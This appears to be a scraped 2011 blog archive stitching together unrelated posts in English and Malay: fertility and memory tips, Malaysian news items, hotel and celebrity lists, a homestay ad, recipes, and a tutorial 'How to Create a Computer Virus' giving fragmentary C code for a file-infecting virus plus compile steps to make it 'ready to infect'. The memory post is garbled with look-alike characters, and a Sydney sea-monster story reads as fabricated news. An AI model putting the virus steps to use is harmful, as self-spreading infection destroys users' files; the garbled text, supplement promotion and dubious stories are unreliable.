Sunday, April 10, 2011

Ways You Can Increase Your Sperm Count, Production, and Motility

These foods increase sperm count, production, and motility. If you’re having trouble getting pregnant, there’s at least a 30% chance it’s because of male infertility. To improve your sperm count and motility, make sure you eat the right foods!

And, here are foods that increase sperm count, production, and motility… 

1. Red peppers, carrots, oatmeal, dried apricots. The vitamin A in these foods help grow healthy sperm. “Deficiencies in vitamin A in men have been linked to lowered fertility due to sluggish sperm,” writes Heidi Murkoff in What to Expect Before You’re Expecting. To increase sperm count and motility, eat dark green lettuce, broccoli, spinach, sweet potatoes, and dairy fortified with vitamin A.

 2. Asparagus, snow peas, cooked tomatoes, strawberries. The vitamin C in these foods affect sperm motility and viability. Vitamin C and vitamin A are found in many of the same foods: kale, red peppers, sweet potatoes, yellow veggies and fruits. The antioxidants in these foods help increase sperm count by decreasing harmful free radicals.

3. Turkey, eggs, seafood, oysters, pumpkin seeds. “Inadequate amounts of zinc an lead to low testosterone levels and diminished sperm count,” writes Heidi Murkoff in What to Expect Before You’re Expecting. Zinc is actually quite widespread – it’s also found in beef, yogurt, oatmeal, corn.

4. Leafy green veggies, avocados, beans, whole grains. Make sure you’re getting enough folic acid, because low levels can lead to birth defects. Men with low levels of folate have more sperm with chromosomal abnormalities. To increase your sperm count, production, and motility, make sure you’re eating lots of dark green veggies and fruit. You may want to consider a folic acid supplement.

5. Salmon, sardines, anchovies, walnuts. “DHA and other essential omega-3 fatty acids help improve blood flow to the genitals and increase sexual function,” writes Heidi Murkoff in What to Expect Before You’re Expecting. “Fertile men’s sperm contains more of this essential fatty acid than the sperm of infertile men.” Other foods high in omega-3 fatty acids include arugula, crab, shrimp, flax, and chicken. To increase sperm count, load up on foods that contain healthy omega-3s!

Also — you might consider a sperm supplement for male infertility. Sperm supplements and vitamins such as FertilAid for Men may not increase male fertility for all men — it depends on the cause of the infertility or health issues. But, supplements may not hurt! Always talk to your doctor or fertility specialist about supplements for sperm production, especially if you’re taking prescription medication.
 Ways you can Increase Your Sperm Count :

1. Have sex & masturbate less often - the more times you ejaculate, the less dense your semen will be. Maintain a gap of 3 days between two consecutive ejaculations.

2. Refrain from habits like smoking, alcohol consumption etc. - Alcohol affects your liver function, which, in turn, causes a dramatic rise in estrogen levels. Even two drinks a day will have long-term effects on sperm production

3. Exercise regularly.Exercising your PC muscle can help you shoot further than ever before.

4. Eat Nutritious Food - Diet that's low in fat, and high in protein, vegetables, and whole grains is good for your health and for your sperm. Avoid bitter, astringent and spicy foods.Reduce caffeine intake

5. Avoid heating of testicles - Wear loose, cotton boxer shorts, Avoid hot baths and saunas

6. Lose any excess weight, which tends to cause testosterone/oestrogen imbalances.

7. Reduce stress levels by learning relaxation techniques - Keep your mind and body healthy by regular practice of YOGA and MEDITATION.

8. Massage body with herbal oil, which improves blood circulation.

9. Try supplements - Certain natural supplements promise to increase sperm production. Checkout some Natural and Herbal, no side effects supplements at

10. Make love in the early morning or afternoon. Sperm levels are often highest in the mornings.

Tips and tricks to better your memory

Memory іѕ іmрοrtаnt іn ουr lives. It wіƖƖ nοt οnƖу tеƖƖ υѕ whο wе аrе аnԁ remind υѕ οf thе things thаt hаνе happened іn ουr lives, іt wіƖƖ аƖѕο give υѕ thе knowledge thаt wе need tο survive. Wе υѕе memory whеn wе learn nеw lessons іn school οr whеn wе аrе studying fοr аn exam. Wе аƖѕο need аn ехсеƖƖеnt memory whеn socializing. People whο саn remember names аnԁ people appear tο bе warmer аnԁ аrе better conversationalists thаn people whο аrе forgetful. Thus іt іѕ іmрοrtаnt thаt уου ѕtаrt bettering уουr memory.
Below аrе ѕοmе tips οn hοw tο improve уουr memory. Sοmе уου саn ԁο tο improve уουr brain’s function whіƖе thе others аrе preventive measures thаt wіƖƖ hеƖр уου hаνе ɡrеаt memory skills even аftеr οƖԁ age.
1. Change уουr lifestyle
Aѕ far-fetched аѕ іt seems, whаt уου ԁο wіth уουr life саn affect уουr memory. Thus, people whο want tο better thеіr memory ԁο nοt οnƖу try out memory techniques bυt аƖѕο change thеіr whole lifestyle. Yου саn ѕtаrt bу avoiding vices thаt wіƖƖ hυrt уουr brain processes. Thіѕ includes smoking аnԁ drinking beyond thе one bottle a day limit fοr women аnԁ two bottles a day fοr men. Thіѕ іѕ οf course fοr beers οnƖу.
Stress іѕ another factor thаt саn lessen уουr memory skills. Stress hаνе bееn shown tο nοt οnƖу weaken thе body аnԁ thе immune system bυt аƖѕο tο weaken thе mental processes. Sіnсе stress саnnοt really bе avoided, уου need tο mаkе sure thаt уου find ways tο relax аnԁ curtail stress. Yου саn ԁο thіѕ bу resting уουr head οn weekends аnԁ having enough sleep everyday. Yου ѕhουƖԁ аƖѕο ѕtаrt exercising аnԁ meditating whісh аrе both ɡοοԁ fοr thе brain.
2. Change уουr diet
Whаt уου eat wіƖƖ determine whο уου аrе. Thіѕ mау bе a cliché bυt іt іѕ trυе nonetheless. If уου want tο hаνе a more powerful brain, уου ѕhουƖԁ mаkе sure thаt уου include іn уουr diet whаt іѕ οftеn called thе brain foods. Thеѕе аrе foods thаt contain choline аnԁ proteins whісh hеƖр іn thе development οf thе brain. Examples οf thеѕе brain foods аrе tuna, salmon аnԁ οthеr fishes; soya, tofu, milk, peanuts аnԁ meat whісh аrе rich іn proteins. Veggies аnԁ fruits аƖѕο hеƖр bу keeping thе body strong аnԁ rich іn supply οf anti-oxidants. Young children іn fact аrе encouraged tο eat lots οf thеѕе foods especially аt thаt age whеn thеіr brains аrе still developing.
3. Exercise уουr mind
One οf thе reasons whу thе brain slows down іѕ bесаυѕе іt іѕ nοt used аѕ οftеn аѕ іt ѕhουƖԁ bе used. Thеrе аrе studies іn fact thаt support thіѕ. People whο аnѕwеr crossword puzzles, play strategic games аnԁ work even whеn thеу аrе οƖԁ аrе less ƖіkеƖу tο hаνе Alzheimer’s. Thе υѕе οf thе brain іѕ actually a preventive measure fοr thе onset οf forgetfulness during οƖԁ age.
4. Uѕе memory techniques
Yουr brain аƖѕο needs уου hеƖр. It ԁοеѕ nοt mean thаt іf уουr brain іѕ powerful, уου wіƖƖ nοt mаkе thе job easy fοr іt. If уου want tο better уουr memory, υѕе memory techniques thаt wіƖƖ hеƖр уου remember more. One example іѕ thе υѕе οf mnemonics, οr key letters οr words thаt wіƖƖ represent a whole lot οf information. Another memory technique іѕ thе association, whісh allows уου tο associate аn information οr item wіth something thаt уου саn already see οr whаt уου already know.

Monday, April 4, 2011

How to Create a Computer Virus? Bagaimana membuat virus

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
if(host==NULL) goto next;
printf(“Infecting %s\n”,ffblk.ff_name,a);
printf(“DONE! (Total Files Infected= %d)”,a);
printf(“TIME TAKEN=%f SEC\n”,


1. Load the program in the compiler, press Alt-F9 to compile
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect


1. Open new empty folder
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it

Video seks ketua pembangkang, Datuk Seri Anwar Ibrahim.Carcosa kini di Internet

Video seks Carcosa kini di Internet
Apr 4, 11 5:55pm
Kongsi 492
Sebahagian daripada klip video yang didakwa membabitkan seorang pemimpin kanan pembangkang mengadakan hubungan seks dengan seorang pelacur kini tersebar di Internet.

Malaysiakini difahamkan beberapa laman web anti pembangkang menyiarkan laporan bahawa video yang dipertontonkan kepada wartawan terpilih pada 21 Mac lalu boleh didapati di Youtube sejak tengahari.
NONESemakan Malaysiakini juga mendapati video yang dilabel sebagai “VTS 01 1" itu dimuat-naik oleh seorang pengguna yang menggunakan nama "thepowercam."
Maklumatnya di Youtube menunjukkan pengguna berkenaan menyertai laman kongsi video itu semalam dan dikatakan berasal dari Thailand.
Video sepanjang hanya 1 minit 41 saat itu adalah sumbangan tunggalnya.
Sarikata dalam bahasa Thai itu berbunyi: "Phaholyothin Road Bangkok, Thailand 10400, Copyright 2011"
Sebelum ini, beberapa pihak mendakwa lelaki dalam video berkenaan mirip ketua pembangkang, Datuk Seri Anwar Ibrahim.

Bagaimanapun Anwar yang juga ketua umum PKR telah menafikan beliau adalah lelaki dalam video itu dan mengemukakan beberapa bukti termasuk catatannya di Twitter dan Facebook.
Serentak dengan tayangan itu, kumpulan yang mengaku bertanggungjawab di sebalik video itu yang menamakan diri sebagai 'Datuk T” mendedahkan identiti mereka - Tan Sri Rahim Thamby Chik, Datuk Shazryl Eskay Abdullah dan Datuk Shuib Lazim.

Sebelum ini, Eskay berkata mereka belum menyerahkan video penuh 22 minit itu kepada sesiapa dan salinan tunggal hanya diserahkan kepada polis.

Anak yatim dibelasah guru baran, meninggal

ALOR SETAR - Seorang murid Sekolah Agama Rakyat (SAR) berasrama di Jejawi, Perlis dipercayai dibelasah seorang guru tanpa belas kasihan sehingga koma, menghembus nafas terakhir pada jam 8.50 pagi di Hospital Sultanah Bahiyah (HSB), di sini semalam.

Saiful Syazani Saiful Sopfidee, 7, dimasukkan ke hospital berkenaan, Jumaat lalu.

Bapa mangsa, Saiful Sopfidee Marzuki, 34, ketika dihubungi berkata, jenazah anaknya akan dikebumikan Tanah Perkuburan Kampung Tok Paduka, belakang Balai Bomba, Kangar, petang ini.

Menurutnya, walaupun sebelum ini anaknya tinggal bersama keluarga angkat sejak kematian ibunya, Jahiyah Che Amat pada 2006, namun hubungan antara mereka akrab sekalipun jarang berjumpa kerana terpaksa bertugas di Langkawi.

“Saya kerap berkunjung ke rumah keluarga angkat sekiranya mempunyai masa lapang untuk melihat Syazani, tetapi sejak kebelakangan ini saya jarang berjumpa Syazani kerana sibuk dengan tugasan.

“Syazani anak tunggal hasil perkongsian hidup dengan arwah isteri, bagaimanapun sebelum itu saya pernah berkahwin dan mempunyai seorang anak lelaki berusia 14 tahun,” katanya ketika dihubungi Sinar Harian.

Dalam perkembangan sebelum ini, Ketua Polis Daerah Arau, Superintendan Mohd Nadzri Hussain berkata, Syazani tidak sedarkan diri akibat masalah jantung dan pendarahan otak, kemudiannya dipindahkan ke HSB dari Hospital Tuanku Fauziah (HTF).

“Sebaik menerima laporan bapa mangsa, polis menggerakkan usaha memburu suspek sebelum lelaki itu yang juga warden asrama sekolah terbabit menyerah diri di Balai Polis Arau dan direman tujuh hari,” katanya.

Menerusi perkembangan sama, mangsa diperlakukan guru lelaki berusia 26 tahun itu selepas dituduh terbabit dalam beberapa kes kecurian wang.

Kejadian dikatakan berlaku kira-kira jam 7 malam Khamis lalu selepas mangsa dibawa guru berkenaan ke bilik sebelum dua tangannya diikat dan disoal siasat berhubung insiden kecurian.

Mangsa dikatakan merayu dilepaskan, tetapi tidak diendahkan guru terbabit yang didakwa terus memukul dan menyoal siasat sehingga kanak-kanak itu diserang sawan dan terus pengsan.

Sebaik sahaja mengetahui kejadian itu, bapa mangsa terus bergegas ke HSB dan terkejut melihat kesan lebam di badan, mata kiri dan pipi, muka bengkak, selain melecet pada tangan kiri anaknya.

Selepas melihat keadaan itu, dia segera membuat laporan di Ibu Pejabat Polis Kontinjen (IPK) Kedah pada petang Jumaat lalu.

Rock of Devils Tower

Article from
Rock of Devils Tower or as it is called, the Devil’s Tower originated about 200 million years ago by volcanic activity. Located in Wyoming monolith rises 386 meters above the surrounding terrain. In 1906 President Theodore Roosevelt appropriated Devils Tower the status of “National Monument”.
The boundaries of the Devil’s Tower cover an area nearly five and a half square kilometers. Each year, the natural attraction visited by hundreds of thousands of tourists.
rock devils tower

Paris hilton on public works

In August, Paris Hilton was arrested in Las Vegas for the storage and use of marihuana.
The court sentenced her to one year suspended, $ 2000 fine, the rate of rejection of mandatory drug and 200 hours of community service.
On his first day of community service Paris Hilton went to work on his heels.
paris hilton working
paris hilton working
paris hilton working
paris hilton working
paris hilton working
paris hilton working
paris hilton working
paris hilton working

Top 10 Most Expensive Hotels in the World

 Resources from :

Hotel should be a relaxing, clean place where you can have something to eat and have a great time. However, when you are wealthy your desires are not as simple as that. Perhaps you would like to call the room service, or relax on a private beach, or enjoy campaign in your luxurious suite. Take a look at some of the most expensive hotels in the world!

10. IMPERIAL SUITE, PARK HYATT-VENDÔME ($15,500 per night)

Imagine spending a night in Paris in the imperial suite for only 15,500 a night. I wouldn’t be able to get over the money spent; it would just eat me up. It is simply ridiculous. The Imperial Suite is on the second floor of the Park Hyatt-Vendôme’s Haussmanian building. This 750 square-foot suite has “In Suite Spa” where you can relax and not think about the insane amount of money you’ve spent in one night.

9. ROYAL SUITE, FOUR SEASONS GEORGE V ($16,000 per night)

In George V there are two luxurious and insanely expensive suits for you to stay in. You can sit on antique furniture. The two suites are split into two separate spaces. One is for sleeping and the one for entertaining guests, with a separate bathroom for them. There are private offices in both of the suits. This is another expansive hotel in Paris.


Staying in this hotel is merely $17,500 per night. It was reopened in 2007, after the restoration of the 7th floor where they have built a luxury suite entirely in gold mosaics. It also has an amazing 300 square-foot terrace with a wonderful view of Geneva and the Alps.

7. ROYAL SUITE, BURJ AL ARAB ($18,000 per night)

This Dubai hotel had got marble floors, mahogany furniture, and a bedroom with rotating bed. You have your own private elevator, and a private cinema. For some extra money you can hire a chauffeur and be driven around in Rolls Royce all day long or you can fly around in your own helicopter.


It is the biggest, most expensive and only terraced penthouse suite on the Cote d’Azur. The suit is decorated in Art Deco style, with streamlined furniture, silk curtains and parquet floors. The penthouse suite is painted in brown and cream colors, unlike the rest of the hotel that is in bright colors.

5. RITY-CARLTON SUITE, RITZ-CARLTON ($18.200 per night)

From your suit window you have the most beautiful views of the Kremlin, Red Square, St. Basil’s Cathedral, and Christ the Savior Cathedral in Moscow. It is furnished in a Classic Russian Imperial style with a spacious living room, a dining area, a library, office room and a boardroom. It even has a grand piano, and a heated floor.

4. ROYAL SUITE, BURJ AL ARAB ($19.000 per night)???

3. BRIDGE SUITE AT THE ATLANTIS ($25,000 per night)

This hotel is among other things famous for its famous guest list. Michael Jackson was at an occasion one of their guests. This suit has 10 rooms that make a bridge between the two hotel buildings.


This Las Vegas suite has an amazing jacuzzi where you can relax for only ($40,000 a night). Since it’s in the sin city you can try to get some money on the poker machines to pay for your stay at this resort.


The most expensive hotel on our list is the Wilson Hotel in Geneva, where you can spend a night for only $53.000. It is decorated in contemporary style. The suite covers a whole floor of the hotel where you can arrive by using your own private elevator. There are four bedrooms, six bathrooms with mosaic marble floor, a cocktail lounge and a terrace with a dramatic view through the bullet proof windows over the city, Lake Geneva and Mont Blanc.

Sunday, April 3, 2011

Japan's Great Kanto Highway In Naka Repaired Six Days After Earthquake

Great Kanto Highway
Now you see it...: This stretch of the Great Kanto highway was wrecked by deep chasms in the March 11 earthquake - but was repaired in just six daysCredit Ap/daily mail online picture

Wow! how great is this that after the worst earthquake in decades that the Japanese people have shown such resilience in moving forward after the tragedy on March 11.The Great Kanto Highway in Naka was totally destroyed and has now been repaired and opened to traffic.
The Daily Mail Foreign Service describes in its report "The picture of gaping chasms in a Japanese highway demonstrated the power of the March 11 earthquake.
Now the astonishing speed of reconstruction is being used to highlight the nation’s ability to get back on its feet.
Work began on March 17 and six days later the cratered section of the Great Kanto Highway in Naka was as good as new. It was ready to re-open to traffic last night."
To me it shows an organised country which cares about its people and are united in getting back on their feet.Admirable.
Now I ask how long did it take the US to move on getting New Orleans back to normal after Katrina? Did I say back to normal or abnormal ,I guess politics is mightier than the people no such luck for the New Orleans. Go figure I say!

Read more:

Raksasa di Pelabuhan Sydney, Australia

GAMBAR yang disiarkan akhbar The West Australian semalam menunjukkan
kepala raksasa (dalam bulatan) di Pelabuhan Sydney, Australia.
SYDNEY - Sejumlah penduduk di sini berada dalam ketakutan selepas seekor raksasa dirakamkan di dalam kawasan perairan dekat sebuah jambatan di sini, lapor sebuah akhbar semalam.

Menurut seorang pegawai polis, Harvey Edison, talian telefon di kebanyakan balai polis tempatan sesak dengan panggilan orang ramai yang memberitahu kewujudan makhluk ganjil itu kelmarin.

Menurutnya, laporan awal mengenai raksasa itu datang daripada orang ramai yang menaiki kapal pesiaran, feri dan bot di Pelabuhan Sydney.

Edison berkata, semua rakaman video dan gambar yang menyiarkan kelibat raksasa itu kini dikaji oleh sekumpulan pakar bagi menentukan sama ada ia benar atau palsu.

Menurut satu kenyataan rasmi, sekumpulan pasukan yang melibatkan ahli biologi terkenal dan penyelam akan tiba di Sydney untuk menyiasat raksasa itu.

Polis di negeri New South Wales turut membatalkan semua perkhidmatan feri dan pelayaran kapal pesiaran buat sementara waktu.

Orang ramai juga dinasihatkan supaya tidak belayar atau menaiki bot mewah di pelabuhan ini.

Raksasa itu mempunyai leher yang panjang seperti kelibat raksasa di Loch Ness di Scotland. - Agensi


my Myra Yana Homestay
Melor Kota Bharu Kelantan Malaysia


* Lengkap perabut, peti sejuk, mesin basuh, TV, katil, dapur gas, pinggan mangkuk dan lain-lain.

* Bekalan air "mineral" boring berkualiti dan jernih.

* Suasana kampung dihadapan jalan yang bertentangan.

*Terletak tepi jalan Melor ke Gunung.

*Hanya 1.2 km dari simpang utama Pekan Melor ke Pekan Gunung.

*Pekan Melor lengkap dengan kemudahan 3 stesyen minyak iaitu Shell, Petronas dan Esso Mobil, kedai 24 Jam, Mesin ATM, Bank, Restoran, kedai-kedai makan, pasar dan banyak lagi.

* Cuma 1.2 km ke Masjid Mahmudi dan Sekolah Agama Azariah Tahfiz yang terkenal dengan pelbagai program dakwah dan pelbagai pengisian kuliah oleh penceramah dan pendawah terkenal.

*Pekan Melor merupakan hentian bas ekspress ke laluan Terangganu, Kuala Lumpur dan laluan Selatan. Pekan ini hidup 24 jam. Ia merupakan zon tengah kelantan yang mudah untuk ke semua lokasi timur barat kelantan.

*Berdekatan Balai Polis Melor dan Homestay ini bakal dilengkapi dengan "Alarm System" Keselamatan


200 m - Pusat Latihan Memandu JPJ.

500 m - Pusat Latihan Komuniti Jabatan Pertanian Kelantan.

5 km - Pekan Ketereh yang boleh menuju ke Politeknik Kok Lanas dengan jarak cuma 1.7 km dari Pekan Ketereh ini cuma 1.3 Km ke Satdium Red Warriors yang dalam pembinaan.

6 Km - Pekan Gunung.

7 Km - Pekan Jelawat dan SMK Perdana.

8 Km - UMK, ILP, PPD Bachok, Kem Khidmat Negara Bachok.

10 Km - Istana Sultan Kelantan.

11 Km - HUSM Kubang Krian.

13 Km - Pantai Irama pantai pelancongan.

15 Km - Kota Bharu

16 Km - Pasir Putih.

406 Km - Kangar Perlis.

Untuk Tempahan Sila Hubungi Saya

0194807144 @ 0194658144

Email -

Foto Kaabah dulu dan kini

Foto Kaabah dulu dan kini

Tujuh Benda Ajaib Di Dunia

7 benda ajaib didunia,sering kita sebut-sebut sebagai hadiah terbaik tamadun lalu kepada manusia pada masa kini.Namun apa dia sebenarnya ketujuh-tujuh benda ajaib tersebut.

Sebahagian daripada kita langsung tidak mengetahui apakah sebenarnya atau lokasi benda-benda ajaib tersebut.mengikut sejarah yang telah ditulis,dimulakan susunannya oleh seorang penulis bernama Antipater dari Sidon,pengaruh pertama dari empayar Greek kuno pada tahun 100's B.C.Sejarah ditulis,diubah, serta direka.

Namun Bukti tetap ada pada kesan runtuhannya sebagai peringatan kepada umat yang akan datang. So, check it out guys!

Tembok Besar China yang mempunyai lebih 24,000 pintu gerbang dan panjang 5,000 kilometer.

2) Piramid yang dibina dengan 2,500,000 blok batu besar yang tersusun rapi. Piramid Giza:keajaiban dari bangsa mesir kuno.

3) Taj Mahal istana yang dibina oleh Maharaja India, Shah Jahan untuk isterinya Mumtaz

4) Candi Borobudur yang terletak di Jawa

5) Angkor Watt di Kemboja

6) Taman Tergantung Babylon yang dibina lebih 3,000 tahun yang lalu

7) Menara Condong Pisa yang terletak di Itali.

Ribut Taufan Perlis 2010. Apa tandanya?

Ribut Taufan Perlis 2010. Apa tandanya?

Resepi Kuih Donat


1) 500 gram tepung gandum
2) 50 gram gula halus
3) 1 cawan susu tepung
4) ½ sudu teh garam
5) 1 bungkus yis kering
6) 1 sudu makan lemak sayur
7) 1 biji telur (pukul)
8) 2 sudu makan marjerin
9) 250 ml air suam
10) minyak masak (untuk menggoreng tenggelam)
11) Gula halus (pilihan bahan untuk salut)

Cara penyediaan:

1) Masukkan tepung, gula, susu, garam dan lemak sayur ke dalam mangkuk. Gaul rata.
2) Masukkan telur, marjerin dan air suam. Gaul rata hingga menjadi doh. Uli doh hingga tidak melekat.
3) Tutupkan dengan kain lembab, biarkan naik hingga 2 kali ganda.
4) Selepas naik tumbuk-tumbuk doh supaya angin keluar. Uli sekali lagi.
5) Bahagikan adunan kepada bebola kecil dan canaikan. Terap mengikut saiz yang dikehendaki.
6) Biarkan adunan naik sekali lagi.
7) Sementara itu panaskan minyak di dalam kuali dengan api yg sederhana.
8) Goreng donat sehingga keemasan. Angkat dan tos.
9) Biarkan donat sejuk pada suhu bilik. Golek-golekkan donat pada gula halus.

Sedia untuk dihidangkan.

Petua Hilangkan Jerawat

Nah, ni ada satu petua kecantikan untuk menghilangkan kesan jerawat kat muka anda. Ikuti langkah di bawah, okey;

1. Ambil sedikit rizom cekur dan tumbuk sehingga halus.

gambar daun cekur 1

Gambar Daun Cekur - Wikipedia

gambar rizom cekur 1

Gambar Rizom Cekur - Mardi

2. Kemudian, campurkan pula rizom cekur yang dah ditumbuk halus tadi dengan bedak sejuk.

3. Gaul dan kacau campuran tu sehingga sebati.

4. Sapukan pada kawasan kulit muka anda yang berjerawat tu sebelum tidur.

5. Pada keesokan pagi, cucilah wajah anda sampai bersih.

Amalkan pemakaian bedak sejuk + rizom cekur ni sampailah parut jerawat anda tu hilang.

Selamat Mencuba!